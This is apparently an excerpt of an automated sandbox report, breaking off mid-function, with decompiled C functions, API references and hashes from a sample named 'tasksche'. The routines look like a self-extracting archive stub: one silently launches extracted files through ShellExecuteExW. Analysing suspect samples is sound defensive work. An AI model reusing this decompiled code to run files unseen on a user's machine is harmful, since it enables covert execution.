Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

_wcscpy.LIBCMT ref: 004197C5
_wcscat.LIBCMT ref: 004197D0
_wcscat.LIBCMT ref: 004197DB
_wcscat.LIBCMT ref: 00419816
_wcscat.LIBCMT ref: 00419827
_wcslen.LIBCMT ref: 00419840
GlobalAlloc.KERNEL32(00000040,-00000009,?,<html>,00000006), ref: 00419851
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,-00000106,00000000,00000000), ref: 00419872
CreateStreamOnHGlobal.OLE32(00000000,00000001,00000000), ref: 0041989A

Strings

utf-8"></head>, xrefs: 004197D5
<html>, xrefs: 004197BE, 004197C3, 004197FB
</html>, xrefs: 00419821
<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 004197CA

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: _wcscat$Global_wcslen$AllocAllocateByteCharCreateHeapMultiStreamWide_malloc_wcscpy
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 4158105118-4209811716
Opcode ID: d061be52aa012914bc5ba5f9a333f2e0b65c97079d21600435417ce03b865586
Instruction ID: 9750a07ada00fadd6417d4a808c8c0194c88b3581ecb1a923ba5d07fa5d26e01
Opcode Fuzzy Hash: d061be52aa012914bc5ba5f9a333f2e0b65c97079d21600435417ce03b865586
Instruction Fuzzy Hash: 1C312A32900205BBDB11BB659C95EEF77789F42724F14415FF810AB2C6DB7C8E81836A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E46C Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 174
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E46C(signed short* __ecx, struct HWND__* _a4, intOrPtr _a8) {
				char _v5;
				intOrPtr _v12;
				long _v16;
				struct _SHELLEXECUTEINFOW _v76;
				char _v4172;
				void* __edi;
				void* _t58;
				signed int _t61;
				intOrPtr* _t62;
				intOrPtr _t63;
				int _t66;
				intOrPtr _t76;
				signed short* _t83;
				signed int _t89;
				signed short* _t90;
				signed short _t92;
				long _t94;
				signed short* _t97;

				_t58 = E0041AAF0(0x1048);
				_t97 = __ecx;
				if( *((intOrPtr*)(__ecx)) == 0) {
					L51:
					return _t58;
				}
				_t58 = E0041A7AF(__ecx);
				if(_t58 >= 0x7f6) {
					goto L51;
				} else {
					_t94 = 0x3c;
					E0041A820(_t94,  &_v76, 0, _t94);
					_t89 =  *_t97 & 0x0000ffff;
					_v76.cbSize = _t94;
					_v76.fMask = 0x1c0;
					if(_t89 != 0x22) {
						_v76.lpFile = _t97;
					} else {
						_v76.lpFile =  &(_t97[1]);
					}
					_t61 = 0;
					if(_t89 == 0) {
						L20:
						_t62 = _v76.lpParameters;
						if(_t62 == 0 ||  *_t62 == 0) {
							if(_a8 == 0 &&  *0x44287a != 0) {
								_v76.lpParameters = 0x44287a;
							}
						}
						_v76.nShow = 1;
						_t63 = E0040A76A(_v76.lpFile);
						_v12 = _t63;
						if(_t63 != 0 && E00411E60(_t63, L".inf") == 0) {
							_v76.lpVerb = L"Install";
						}
						if(E004092A5(_v76.lpFile) != 0) {
							E0040A9CB(_t94, _v76.lpFile,  &_v4172, 0x800);
							_v76.lpFile =  &_v4172;
						}
						_t66 = ShellExecuteExW( &_v76);
						if(_t66 == 0) {
							L50:
							return _t66;
						} else {
							_v5 = 0;
							if( *0x441870 != 0 || _a8 != 0 ||  *0x44185d != 0) {
								if(_a4 != 0 && IsWindowVisible(_a4) != 0) {
									ShowWindow(_a4, 0);
									_v5 = 1;
								}
								WaitForInputIdle(_v76.hProcess, 0x7d0);
								E0040D857(_v76.hProcess);
								if( *0x44185d != 0 && GetExitCodeProcess(_v76.hProcess,  &_v16) != 0) {
									_t76 = _v16 + 0x3e8;
									if(_t76 >  *0x441860) {
										 *0x441860 = _t76;
									}
								}
							}
							_t66 = CloseHandle(_v76.hProcess);
							if(_v12 == 0) {
								L43:
								if( *0x441870 == 0 || _a8 != 0) {
									_t66 = ((0 | _a8 == 0x00000000) - 0x00000001 & 0xfffffce0) + 0x3e8;
									 *0x441864 = _t66;
								} else {
									 *0x441864 = 0x1b58;
								}
								goto L47;
							} else {
								_t66 = E00411E60(_v12, L".exe");
								if(_t66 == 0) {
									L47:
									if(_v5 != 0 && _a8 != 0) {
										_t66 = ShowWindow(_a4, 1);
									}
									goto L50;
								}
								goto L43;
							}
						}
					} else {
						_t90 = _t97;
						do {
							if( *_t90 != 0x22) {
								L13:
								if(_t97[_t61] == 0x20 ||  *((short*)(_t97 + 2 + _t61 * 2)) == 0x2f) {
									_t83 =  &(_t97[_t61]);
									if( *_t83 == 0x20) {
										 *_t83 = 0;
									}
									_v76.lpParameters =  &(_t83[1]);
									goto L20;
								} else {
									goto L15;
								}
							}
							while(1) {
								_t61 = _t61 + 1;
								if(_t97[_t61] == 0) {
									break;
								}
								if(_t97[_t61] == 0x22) {
									_t92 = 0x20;
									_t97[_t61] = _t92;
									goto L13;
								}
							}
							goto L13;
							L15:
							_t61 = _t61 + 1;
							_t90 =  &(_t97[_t61]);
						} while ( *_t90 != 0);
						goto L20;
					}
				}
			}

0x0040e474
0x0040e47b
0x0040e482
0x0040e68a
0x0040e68a
0x0040e68a
0x0040e489
0x0040e494
0x00000000
0x0040e49a
0x0040e49d
0x0040e4a4
0x0040e4a9
0x0040e4af
0x0040e4b2
0x0040e4bd
0x0040e4c7
0x0040e4bf
0x0040e4c2
0x0040e4c2
0x0040e4ca
0x0040e4cf
0x0040e520
0x0040e520
0x0040e525
0x0040e52f
0x0040e53a
0x0040e53a
0x0040e52f
0x0040e544
0x0040e54b
0x0040e550
0x0040e555
0x0040e566
0x0040e566
0x0040e577
0x0040e588
0x0040e593
0x0040e593
0x0040e59a
0x0040e5a2
0x0040e686
0x00000000
0x0040e5a8
0x0040e5ae
0x0040e5bc
0x0040e5ce
0x0040e5e1
0x0040e5e3
0x0040e5e3
0x0040e5ef
0x0040e5f8
0x0040e603
0x0040e619
0x0040e621
0x0040e623
0x0040e623
0x0040e621
0x0040e603
0x0040e62b
0x0040e634
0x0040e647
0x0040e64d
0x0040e66e
0x0040e670
0x0040e654
0x0040e654
0x0040e654
0x00000000
0x0040e636
0x0040e63e
0x0040e645
0x0040e675
0x0040e678
0x0040e684
0x0040e684
0x00000000
0x0040e678
0x00000000
0x0040e645
0x0040e634
0x0040e4d1
0x0040e4d1
0x0040e4d3
0x0040e4d7
0x0040e4f2
0x0040e4f7
0x0040e50c
0x0040e513
0x0040e517
0x0040e517
0x0040e51d
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e4f7
0x0040e4e2
0x0040e4e2
0x0040e4e7
0x00000000
0x00000000
0x0040e4e0
0x0040e4ed
0x0040e4ee
0x00000000
0x0040e4ee
0x0040e4e0
0x00000000
0x0040e501
0x0040e501
0x0040e502
0x0040e505
0x00000000
0x0040e50a
0x0040e4cf

APIs

_wcslen.LIBCMT ref: 0040E489
_memset.LIBCMT ref: 0040E4A4
ShellExecuteExW.SHELL32(?), ref: 0040E59A
IsWindowVisible.USER32 ref: 0040E5D3
ShowWindow.USER32(?,00000000), ref: 0040E5E1
WaitForInputIdle.USER32 ref: 0040E5EF
GetExitCodeProcess.KERNEL32 ref: 0040E60C
CloseHandle.KERNEL32(?), ref: 0040E62B
ShowWindow.USER32(?,00000001), ref: 0040E684

Strings

.inf, xrefs: 0040E557
z(D, xrefs: 0040E53A
.exe, xrefs: 0040E636

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: Window$Show$CloseCodeExecuteExitHandleIdleInputProcessShellVisibleWait_memset_wcslen
String ID: .exe$.inf$z(D
API String ID: 3215649069-3601587883
Opcode ID: 936e14f6b8c6b2b0d3383d50030360367d736e08a904ba5adace82a55a4a90ef
Instruction ID: 3e26098100528e53db86749210a7047ac1cc05a8490cbdb1dbf577081e62715c
Opcode Fuzzy Hash: 936e14f6b8c6b2b0d3383d50030360367d736e08a904ba5adace82a55a4a90ef
Instruction Fuzzy Hash: 8051B571910258BADF31AFA2EC405AE7BB4EF11304F444C7BE841B72E1E77999A5CB09

Uniqueness

Uniqueness Score: -1.00%

Function 00419A9D Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00419A9D(void* __ecx, void* __eflags, intOrPtr _a4, struct HWND__* _a8, struct HWND__* _a12, intOrPtr _a16, int _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				struct tagPOINT _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t41;
				long _t42;
				struct HWND__* _t46;
				void* _t52;
				struct HWND__* _t61;
				void* _t69;
				WCHAR* _t71;

				_t61 = _a8;
				_t69 = __ecx;
				 *(__ecx + 8) = _t61;
				 *((char*)(__ecx + 0x25)) = _a20;
				ShowWindow(_t61, 0);
				E00419A36(_t69, _a4);
				 *(_t69 + 0x14) = _a12;
				 *((intOrPtr*)(_t69 + 0x18)) = _a16;
				GetWindowRect(_t61,  &_v20);
				_t52 = GetParent;
				MapWindowPoints(0, GetParent(_t61),  &_v20, 2);
				_t41 =  *(_t69 + 4);
				if(_t41 != 0) {
					DestroyWindow(_t41);
				}
				_t42 = _v20.x;
				_a20 = _t42 + 1;
				_t46 = CreateWindowExW(0, L"RarHtmlClassName", 0, 0x40000000, _a20, _v20.y, _v12 - _t42, _v8 - _v20.y, GetParent(_a8), 0,  *_t69, _t69);
				 *(_t69 + 4) = _t46;
				if( *((intOrPtr*)(_t69 + 0x10)) != 0) {
					__eflags = _t46;
					if(_t46 != 0) {
						ShowWindow(_t46, 5);
						_t46 = UpdateWindow( *(_t69 + 4));
					}
					__eflags =  *((intOrPtr*)(_t69 + 0x20)) - 0x64;
					if( *((intOrPtr*)(_t69 + 0x20)) > 0x64) {
						_t46 = E004192D0(_t69);
					}
				} else {
					if(_a8 != 0 &&  *((intOrPtr*)(_t69 + 0x18)) == 0) {
						_t46 =  *(_t69 + 0x14);
						_t79 = _t46;
						if(_t46 != 0) {
							_push(_t46);
							_t46 = E0041947D(_t52, _t69, _t79);
							_t71 = _t46;
							_t80 = _t71;
							if(_t71 != 0) {
								ShowWindow(_a8, 5);
								SetWindowTextW(_a8, _t71);
								_push(_t71);
								_t46 = E0041A506(_t52, 0, _t71, _t80);
							}
						}
					}
				}
				return _t46;
			}

0x00419aa9
0x00419aac
0x00419ab1
0x00419ab4
0x00419ab7
0x00419ac2
0x00419aca
0x00419ad0
0x00419ad8
0x00419ade
0x00419af0
0x00419af6
0x00419afb
0x00419afe
0x00419afe
0x00419b04
0x00419b18
0x00419b3b
0x00419b41
0x00419b47
0x00419b86
0x00419b88
0x00419b8d
0x00419b96
0x00419b96
0x00419b9c
0x00419ba0
0x00419ba4
0x00419ba4
0x00419b49
0x00419b4c
0x00419b53
0x00419b56
0x00419b58
0x00419b5a
0x00419b5d
0x00419b62
0x00419b64
0x00419b66
0x00419b6d
0x00419b77
0x00419b7d
0x00419b7e
0x00419b83
0x00419b66
0x00419b58
0x00419b4c
0x00419bad

APIs

ShowWindow.USER32(?,00000000,00000000,?,?), ref: 00419AB7

Part of subcall function 00419A36: LoadCursorW.USER32(00000000,00007F00), ref: 00419A6D
Part of subcall function 00419A36: RegisterClassExW.USER32 ref: 00419A8E

GetWindowRect.USER32 ref: 00419AD8
GetParent.USER32(?), ref: 00419AEB
MapWindowPoints.USER32 ref: 00419AF0
DestroyWindow.USER32(?), ref: 00419AFE
GetParent.USER32(?), ref: 00419B1C
CreateWindowExW.USER32 ref: 00419B3B
ShowWindow.USER32(?,00000005,?), ref: 00419B6D
SetWindowTextW.USER32(?,00000000), ref: 00419B77
ShowWindow.USER32(00000000,00000005), ref: 00419B8D
UpdateWindow.USER32(?), ref: 00419B96

Strings

RarHtmlClassName, xrefs: 00419B35

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: Window$Show$Parent$ClassCreateCursorDestroyLoadPointsRectRegisterTextUpdate
String ID: RarHtmlClassName
API String ID: 3841971108-1658105358
Opcode ID: 8f02594a460fe4aaecb394f4f1976d54ac18ba1083f3bdaa5d0422b8a187883f
Instruction ID: a0655035169e6554100d25c4e6de203faa719369231219c5c88fda93c074337e
Opcode Fuzzy Hash: 8f02594a460fe4aaecb394f4f1976d54ac18ba1083f3bdaa5d0422b8a187883f
Instruction Fuzzy Hash: 0331B035600604EFCB319F65EC48EAFBBB9FF44700F10451AF91692260D735AD51DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00405164 Relevance: 21.1, APIs: 14, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00405164(void* __ecx, intOrPtr _a4, intOrPtr _a8, short* _a12, intOrPtr _a16, char _a20) {
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v60;
				short* _v64;
				char* _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				char _v92;
				char _v1116;
				void* __edi;
				signed int _t40;
				intOrPtr _t44;
				signed int _t48;
				signed int _t57;
				void* _t61;
				signed int _t62;
				void* _t64;
				char _t65;
				short* _t66;
				void* _t67;
				void* _t68;
				void* _t69;
				signed int _t76;

				_t63 =  &_v1116;
				if(_a16 != 0) {
					E0041A7F7( &_v1116, _a16);
					_t67 = _t68 + E0041A7AF( &_v1116) * 2 - 0x456;
					E0041A7F7(_t67, _a16);
					_t57 = E0041A7AF(_t67);
					_t69 = _t69 + 0x18;
					_t63 = _t67 + 2 + _t57 * 2;
				}
				E0041A7F7(_t63, E0040C3BF(0xa2));
				_t64 = _t63 + 2 + E0041A7AF(_t63) * 2;
				E0041A7F7(_t64, 0x42a570);
				_t40 = E0041A7AF(_t64);
				 *((short*)(_t64 + 2 + _t40 * 2)) = 0;
				_t65 = 0x58;
				E0041A820(_t61,  &_v92, 0, _t65);
				_v88 = _a4;
				_t44 =  *0x4335a8; // 0x400000
				_v84 = _t44;
				_v80 =  &_v1116;
				_v92 = _t65;
				_t66 = _a12;
				_v44 = _a8;
				_v64 = _t66;
				_v60 = 0x800;
				_v40 = 0x1080c;
				_push( &_v92);
				if(_a20 == 0) {
					_t48 = GetOpenFileNameW();
				} else {
					_t48 = GetSaveFileNameW();
				}
				_t62 = _t48;
				if(_t62 == 0) {
					_t48 = CommDlgExtendedError();
					if(_t48 == 0x3002) {
						 *_t66 = 0;
						_push( &_v92);
						if(_a20 == 0) {
							_t48 = GetOpenFileNameW();
						} else {
							_t48 = GetSaveFileNameW();
						}
						_t62 = _t48;
					}
					_t76 = _t62;
				}
				return _t48 & 0xffffff00 | _t76 != 0x00000000;
			}

0x00405174
0x0040517a
0x00405182
0x00405192
0x0040519a
0x004051a0
0x004051a5
0x004051a8
0x004051a8
0x004051b8
0x004051c3
0x004051cd
0x004051d3
0x004051dc
0x004051e1
0x004051e8
0x004051f6
0x004051f9
0x004051fe
0x00405207
0x00405214
0x00405217
0x0040521a
0x00405220
0x00405223
0x0040522a
0x00405231
0x00405232
0x0040523c
0x00405234
0x00405234
0x00405234
0x0040523e
0x00405242
0x00405244
0x0040524f
0x00405257
0x0040525d
0x0040525e
0x00405268
0x00405260
0x00405260
0x00405260
0x0040526a
0x0040526a
0x0040526c
0x0040526c
0x00405275

APIs

_wcscpy.LIBCMT ref: 00405182
_wcslen.LIBCMT ref: 0040518A
_wcscpy.LIBCMT ref: 0040519A
_wcslen.LIBCMT ref: 004051A0
_wcscpy.LIBCMT ref: 004051B8
_wcslen.LIBCMT ref: 004051BE
_wcscpy.LIBCMT ref: 004051CD
_wcslen.LIBCMT ref: 004051D3
_memset.LIBCMT ref: 004051E8
GetSaveFileNameW.COMDLG32(?,?,?,?,?,?,000000A2), ref: 00405234
GetOpenFileNameW.COMDLG32(?,?,?,?,?,?,000000A2), ref: 0040523C
CommDlgExtendedError.COMDLG32(?,?,?,?,?,000000A2), ref: 00405244
GetSaveFileNameW.COMDLG32(?,?,?,?,?,?,000000A2), ref: 00405260
GetOpenFileNameW.COMDLG32(?,?,?,?,?,?,000000A2), ref: 00405268

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: FileName_wcscpy_wcslen$OpenSave$CommErrorExtended_memset
String ID:
API String ID: 3496903968-0
Opcode ID: 446a76bb310dad6e5806d0052d9e568853349a282fe8c87d623ef543e340e0f8
Instruction ID: 017447a648ceccb586da1f31f92202068c03838f3088d87860c47b682a039f1a
Opcode Fuzzy Hash: 446a76bb310dad6e5806d0052d9e568853349a282fe8c87d623ef543e340e0f8
Instruction Fuzzy Hash: D531D775901618ABCB11AFA5DC45ACF7BB8EF04314F00002AF904B7281DB38DA958FAE

Uniqueness

Uniqueness Score: -1.00%

Function 00419D0B Relevance: 19.6, APIs: 13, Instructions: 75
windowCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00419D0B(void* _a4, signed int _a8, int _a12) {
				struct HDC__* _v8;
				struct HDC__* _v12;
				struct HBITMAP__* _v16;
				void* _v20;
				signed int _v36;
				signed int _v40;
				void _v44;
				struct HDC__* _t36;
				signed int _t43;
				struct HDC__* _t54;

				_t36 = GetDC(0);
				_v12 = _t36;
				_t54 = CreateCompatibleDC(_t36);
				_v8 = CreateCompatibleDC(_v12);
				GetObjectW(_a4, 0x18,  &_v44);
				asm("cdq");
				_t43 = _v36 * _a8 / _v40;
				if(_t43 < _a12) {
					_a12 = _t43;
				}
				_v16 = CreateCompatibleBitmap(_v12, _a8, _a12);
				_a4 = SelectObject(_t54, _a4);
				_v20 = SelectObject(_v8, _v16);
				StretchBlt(_v8, 0, 0, _a8, _a12, _t54, 0, 0, _v40, _v36, 0xcc0020);
				SelectObject(_t54, _a4);
				SelectObject(_v8, _v20);
				DeleteDC(_t54);
				DeleteDC(_v8);
				ReleaseDC(0, _v12);
				return _v16;
			}

0x00419d17
0x00419d24
0x00419d2c
0x00419d30
0x00419d3c
0x00419d49
0x00419d4a
0x00419d50
0x00419d52
0x00419d52
0x00419d6e
0x00419d76
0x00419d86
0x00419d9a
0x00419da4
0x00419dac
0x00419db5
0x00419dba
0x00419dc0
0x00419dcd

APIs

GetDC.USER32(00000000), ref: 00419D17
CreateCompatibleDC.GDI32(00000000), ref: 00419D27
CreateCompatibleDC.GDI32(?), ref: 00419D2E
GetObjectW.GDI32(?,00000018,?,?,?,?,?,?,?,00419EBD,00000200,?,?), ref: 00419D3C
CreateCompatibleBitmap.GDI32(?,00000200,00419EBD), ref: 00419D5E
SelectObject.GDI32(00000000,?), ref: 00419D71
SelectObject.GDI32(?,00000200), ref: 00419D7C
StretchBlt.GDI32(?,00000000,00000000,00000200,00419EBD,00000000,00000000,00000000,?,?,00CC0020), ref: 00419D9A
SelectObject.GDI32(00000000,?), ref: 00419DA4
SelectObject.GDI32(?,00419EBD), ref: 00419DAC
DeleteDC.GDI32(00000000), ref: 00419DB5
DeleteDC.GDI32(?), ref: 00419DBA
ReleaseDC.USER32 ref: 00419DC0

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: Object$Select$CompatibleCreate$Delete$BitmapReleaseStretch
String ID:
API String ID: 3950507155-0
Opcode ID: c5f4d7ef721d9f2cf6d28cde0393e927751e3943138dffdaa34ce4f2faff49d0
Instruction ID: fe64683af8def945f8560e9c967618457674570685148338231d72a037962566
Opcode Fuzzy Hash: c5f4d7ef721d9f2cf6d28cde0393e927751e3943138dffdaa34ce4f2faff49d0
Instruction Fuzzy Hash: C021A076900218FFCF129FA1DC48DDEBFBAFB48350B104466F914A2120C7369A65EFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041E854 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 57
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 92%

			E0041E854(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				struct HINSTANCE__* _t23;
				intOrPtr _t28;
				intOrPtr _t32;
				intOrPtr _t45;
				void* _t46;

				_t35 = __ebx;
				_push(0xc);
				_push(0x42d8a0);
				E0041FA9C(__ebx, __edi, __esi);
				_t44 = L"KERNEL32.DLL";
				_t23 = GetModuleHandleW(L"KERNEL32.DLL");
				if(_t23 == 0) {
					_t23 = E00421465(_t44);
				}
				 *(_t46 - 0x1c) = _t23;
				_t45 =  *((intOrPtr*)(_t46 + 8));
				 *((intOrPtr*)(_t45 + 0x5c)) = 0x42ba00;
				 *((intOrPtr*)(_t45 + 0x14)) = 1;
				if(_t23 != 0) {
					_t35 = GetProcAddress;
					 *((intOrPtr*)(_t45 + 0x1f8)) = GetProcAddress(_t23, "EncodePointer");
					 *((intOrPtr*)(_t45 + 0x1fc)) = GetProcAddress( *(_t46 - 0x1c), "DecodePointer");
				}
				 *((intOrPtr*)(_t45 + 0x70)) = 1;
				 *((char*)(_t45 + 0xc8)) = 0x43;
				 *((char*)(_t45 + 0x14b)) = 0x43;
				 *(_t45 + 0x68) = 0x430880;
				E0041EFA3(_t35, 0xd);
				 *(_t46 - 4) =  *(_t46 - 4) & 0x00000000;
				InterlockedIncrement( *(_t45 + 0x68));
				 *(_t46 - 4) = 0xfffffffe;
				E0041E929();
				E0041EFA3(_t35, 0xc);
				 *(_t46 - 4) = 1;
				_t28 =  *((intOrPtr*)(_t46 + 0xc));
				 *((intOrPtr*)(_t45 + 0x6c)) = _t28;
				if(_t28 == 0) {
					_t32 =  *0x430e88; // 0x430db0
					 *((intOrPtr*)(_t45 + 0x6c)) = _t32;
				}
				E004221AD( *((intOrPtr*)(_t45 + 0x6c)));
				 *(_t46 - 4) = 0xfffffffe;
				return E0041FAE1(E0041E932());
			}

0x0041e854
0x0041e854
0x0041e856
0x0041e85b
0x0041e860
0x0041e866
0x0041e86e
0x0041e871
0x0041e876
0x0041e877
0x0041e87a
0x0041e87d
0x0041e887
0x0041e88c
0x0041e894
0x0041e89c
0x0041e8ac
0x0041e8ac
0x0041e8b2
0x0041e8b5
0x0041e8bc
0x0041e8c3
0x0041e8cc
0x0041e8d2
0x0041e8d9
0x0041e8df
0x0041e8e6
0x0041e8ed
0x0041e8f3
0x0041e8f6
0x0041e8f9
0x0041e8fe
0x0041e900
0x0041e905
0x0041e905
0x0041e90b
0x0041e911
0x0041e922

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,0042D8A0,0000000C,0041E98F,00000000,00000000,?,0041FE78,0041A9BA,00000456,?,?,0041A9BA,00000000,?), ref: 0041E866
__crt_waiting_on_module_handle.LIBCMT ref: 0041E871

Part of subcall function 00421465: Sleep.KERNEL32(000003E8,00000000,?,0041E7B7,KERNEL32.DLL,?,0041E803,?,0041FE78,0041A9BA,00000456,?,?,0041A9BA,00000000,?), ref: 00421471
Part of subcall function 00421465: GetModuleHandleW.KERNEL32(00000000,?,0041E7B7,KERNEL32.DLL,?,0041E803,?,0041FE78,0041A9BA,00000456,?,?,0041A9BA,00000000,?), ref: 0042147A

GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 0041E89A
GetProcAddress.KERNEL32(0041A9BA,DecodePointer), ref: 0041E8AA
__lock.LIBCMT ref: 0041E8CC
InterlockedIncrement.KERNEL32(?), ref: 0041E8D9
__lock.LIBCMT ref: 0041E8ED
___addlocaleref.LIBCMT ref: 0041E90B

Strings

KERNEL32.DLL, xrefs: 0041E860, 0041E865, 0041E870
DecodePointer, xrefs: 0041E8A2
EncodePointer, xrefs: 0041E88E

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 1028249917-2843748187
Opcode ID: d8a1d3b64ce03b740c9770e28a10d8a3d1cb693a8f1fd6d09f99049fe87b25f8
Instruction ID: 28857185edf288c115030afddfc21b3ad53991f12277c54fa87cb1ac16e0dfb5
Opcode Fuzzy Hash: d8a1d3b64ce03b740c9770e28a10d8a3d1cb693a8f1fd6d09f99049fe87b25f8
Instruction Fuzzy Hash: 82119071A40701AFD720AF36D805B9EBBE0AF44314F60456FE8A997290CB78A981CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0C2 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 260
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E0040F0C2(void* __edi) {
				long __ebx;
				intOrPtr _t263;
				void* _t264;
				void* _t335;
				short* _t337;
				void* _t339;

				L0:
				while(1) {
					L0:
					if( *((intOrPtr*)(_t339 + 0x10)) != 6) {
						goto L160;
					} else {
						__eax = 0;
						 *(__ebp - 0x2440) = __ax;
						__eax =  *(__ebp - 0x1bc90) & 0x0000ffff;
						__eax = E0041D265( *(__ebp - 0x1bc90) & 0x0000ffff);
						_push(__ebx);
						__eflags = __eax - 0x50;
						if(__eax == 0x50) {
							_push(0x43f822);
							__eax = __ebp - 0x2440;
							_push(__ebp - 0x2440);
							__eax = E00410B9C();
							 *(__ebp - 0x18) = 2;
						} else {
							__eflags = __eax - 0x54;
							__eax = __ebp - 0x2440;
							if(__eflags == 0) {
								_push(0x43e822);
								_push(__eax);
								__eax = E00410B9C();
								 *(__ebp - 0x18) = 7;
							} else {
								_push(0x440822);
								_push(__eax);
								__eax = E00410B9C();
								 *(__ebp - 0x18) = 0x10;
							}
						}
						__eax = 0;
						 *(__ebp - 0xbc90) = __ax;
						 *(__ebp - 0x4c40) = __ax;
						__ebp - 0x19c90 = __ebp - 0x6c88;
